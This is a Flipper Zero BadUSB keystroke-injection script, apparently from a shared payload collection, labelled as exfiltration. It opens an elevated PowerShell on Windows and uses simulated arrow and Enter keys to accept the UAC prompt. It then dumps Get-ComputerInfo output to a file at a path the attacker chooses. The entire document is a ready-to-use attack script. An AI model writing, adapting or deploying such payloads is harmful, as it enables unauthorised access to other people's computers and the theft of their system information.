Flipper/BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/GetAllComputerInfo/GetAllComputerInfo.txt
2024-04-15 23:47:39 -07:00

30 lines
807 B
Plaintext

REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Simple Powershell script that stores alot of Info about the PC into a file. For more info read the comments (REM) in the code below.
REM Version: 1.0
REM Category: Exfiltration
DELAY 1000
GUI r
DELAY 450
REM Start Powershell as Admin
STRING powershell Start-Process powershell -Verb runAs
DELAY 500
ENTER
DELAY 600
LEFTARROW
DELAY 600
ENTER
DELAY 750
REM Change the "Path" to your path ("C:\...").
STRING $Path = "PATH"
DELAY 500
ENTER
DELAY 500
REM Creates the Results.txt file to the path
STRING New-Item -Path "$Path\Results.txt" -ItemType File
DELAY 500
ENTER
DELAY 700
REM Gets all the Info about the PC and stores them into the created Results.txt file
STRING Get-ComputerInfo | Out-File -FilePath "$Path\Results.txt"
DELAY 300
ENTER